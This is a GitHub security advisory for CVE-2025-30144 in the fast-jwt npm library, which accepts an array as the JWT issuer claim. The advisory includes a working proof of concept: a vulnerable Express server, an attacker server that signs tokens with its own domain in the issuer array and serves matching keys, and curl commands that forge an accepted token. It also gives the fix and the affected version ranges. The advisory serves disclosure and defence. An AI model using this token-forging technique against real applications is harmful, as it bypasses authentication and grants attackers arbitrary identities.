GHSA-GM45-Q3V2-6CF8
Vulnerability from github – Published: 2025-03-19 15:48 – Updated: 2025-03-20 18:58
VLAI?
Summary
Fast-JWT Improperly Validates iss Claims
Details
Summary
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Details
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.
PoC
Take a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Impact
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Solution
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
Severity ?
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30144"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-19T15:48:43Z",
"nvd_published_at": "2025-03-19T16:15:33Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `[\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n jwks.getPublicKey({\n kid: jwt.header.kid,\n alg: jwt.header.alg,\n domain: jwt.payload.iss\n });\n\n\nconst jwtVerifier = createVerifier({\n key: keyFetcher,\n allowedIss: \u0027https://valid-iss\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n let token = \u0027\u0027;\n if (headerAuth.length \u003e 1) {\n token = headerAuth[1];\n }\n\n const payload = await jwtVerifier(token);\n\n req.decoded = payload;\n next();\n}\n\n// Endpoint to check if you are auth or not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n { modulusLength: 4096,\n publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post(\u0027/create-token\u0027, (req, res) =\u003e {\n const token = jwt.sign({ ...req.body, iss: [host, \u0027https://valid-iss\u0027], }, privateKey, { algorithm: \u0027RS256\u0027 });\n res.send(token);\n});\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n return res.json({\n keys: [{\n ...jwk,\n alg: \u0027RS256\u0027,\n use: \u0027sig\u0027,\n }]\n });\n})\n\napp.all(\u0027*\u0027, (req, res) =\u003e {\n return res.json({\n \"issuer\": host,\n \"jwks_uri\": host + \u0027.well-known/jwks.json\u0027\n });\n});\n\napp.listen(port, () =\u003e {\n console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d \u0027{\"name\": \"test\"}\u0027)\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.",
"id": "GHSA-gm45-q3v2-6cf8",
"modified": "2025-03-20T18:58:42Z",
"published": "2025-03-19T15:48:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30144"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7519#page-9"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Fast-JWT Improperly Validates iss Claims"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…